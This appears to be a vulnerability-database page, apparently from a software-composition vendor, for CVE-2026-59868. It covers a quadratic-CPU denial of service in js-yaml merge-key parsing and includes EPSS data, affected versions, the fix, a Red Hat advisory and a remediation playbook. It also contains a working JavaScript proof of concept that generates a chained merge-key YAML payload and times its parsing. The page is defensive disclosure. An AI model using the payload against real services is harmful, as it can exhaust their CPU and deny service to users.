Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

CVE-2026-59868 — js-yaml

MEDIUMFix: nodeca/js-yaml@3105455

CVE-2026-59868 is a medium-severity (CVSS 5.3) CWE-407 vulnerability in js-yaml. A fix is available for js-yaml — see the affected versions and patch details below.

js-yaml: YAML merge-key chains can force quadratic CPU consumption

Also known asGHSA-g796-fgmg-93mv
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 16, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59868.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk
0.00%0.38%0.76%1.14%0.4%0.6%0.6%0.6%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-59868 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 390,400 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

30Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
js-yamlnpm
300.1Mdownloads / week

Description

Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmjs-yaml≥ 5.0.0&&< 5.2.05.2.0npm install js-yaml@5.2.0

Affected Products

1 product · 1 configurations
Application
js-yamlnodeca
≥ 5.0.0 && < 5.2.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for js-yaml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update js-yaml to 5.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59868 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

js-yaml versions 5.0.0 through 5.1.x are vulnerable to a denial of service. When merge keys ('<<') are enabled during YAML parsing, js-yaml re-merges the accumulated mapping into each subsequent mapping in a chain. A document consisting of a linear chain of mappings that each merge the previous one causes quadratic…

Workaround published by Red Hat
Upgrade to js-yaml 5.2.0 or later. Where an immediate upgrade is not possible, avoid parsing untrusted YAML documents that use merge keys ('<<'), or apply size and time limits when parsing untrusted YAML input.
Source: Red Hat security advisory for CVE-2026-59868 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Discovery 2discovery/discovery-ui-rhel9:1788206196RHSA-2026:61783
Red Hat Hardened Imagesdotnet8-0-main-8.0.128-1.hum1RHSA-2026:26994
Red Hat Hardened Imagesnodejs26-main-11.17.0-1.26.4.0.1.3.hum1RHSA-2026:33866
Red Hat Hardened Imagesnodejs24-main-11.16.0-1.24.18.0.0.2.hum1RHSA-2026:34478
Red Hat Hardened Imagesrust-main-1.96.1-1.hum1RHSA-2026:34975
Red Hat Hardened Imagesnodejs22-main-10.9.8-1.22.23.1.2.hum1RHSA-2026:35272
Red Hat Hardened Imagesnodejs25-main-11.12.1-1.25.9.0.1.1.hum1RHSA-2026:7378
Red Hat Hardened Imagesyarnpkg-main-1.22.22-18.1.hum1RHSA-2026:7655

Frequently Asked Questions

### Impact This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default When merge keys (`<<`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1
O3 Security · Impact-Aware SCA

Is CVE-2026-59868 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-59868: js-yaml — Fixed in 5.2.0